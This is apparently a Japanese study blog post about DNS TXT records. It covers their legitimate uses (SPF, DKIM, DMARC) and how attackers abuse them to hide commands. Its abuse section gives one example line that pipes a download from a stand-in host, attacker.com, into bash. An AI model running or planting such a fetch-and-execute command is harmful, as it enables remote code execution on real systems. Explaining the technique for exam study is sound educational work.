この記事を書くに至った経緯
情報処理安全確保支援士試験の勉強を行っていた時に、TXTレコードを使った脆弱性があるということを知りました。そこでどのようにTXTレコードを使うのか調べてまとめてみます。
✅ そもそもTXTレコードとは
DNSに「任意のテキスト情報」を格納するためのレコード形式
-
名前の通り、テキスト(Text)を記録するためのDNSレコードです。
-
ドメイン名に関連するさまざまな補足情報・認証情報などを格納できます。
具体的にどのようなときに使われる?(代表的用途)
-
SPF(送信ドメイン認証)
メールの送信元が正当かを検証するために使われる。
例:v=spf1 include:_spf.google.com ~all
→ 「このドメインからメールを送るのはGoogleのサーバだけです」という意味。
SPF検証の流れ(Mermaid図)
-
DKIM(電子署名の公開鍵)
メールに電子署名をつける技術。
DNSのTXTレコードに「公開鍵」を載せることで、受信側が署名の検証に使う。 -
DMARC(SPF/DKIMが失敗した場合の方針)
ドメイン所有者が「認証に失敗したメールはどう扱うか」を定義。/v=DMARC1; p=reject; rua=mailto:dmarc@yourdomain.com
メールの認証方式はまた別途まとめようかと思います。
なぜ?どのように悪用されるのか?
-
制限がほぼなく、任意のテキストを入れられる
しかも DNSは多くの環境で自由に通る
結果として:
TXT: "curl attacker.com | bash"
のようなコマンドを仕込む攻撃に使われてしまう。
まとめ
私自身TXTレコードに対して、「テキストを自由に埋め込めるDNSのレコードなんだなあ」くらいの認識しかなかったので、いい勉強になりました。
引き続き情報処理安全確保支援士で躓いたところやナレッジとしてまとめたいことを記事としてアウトプットしていきたいと思います。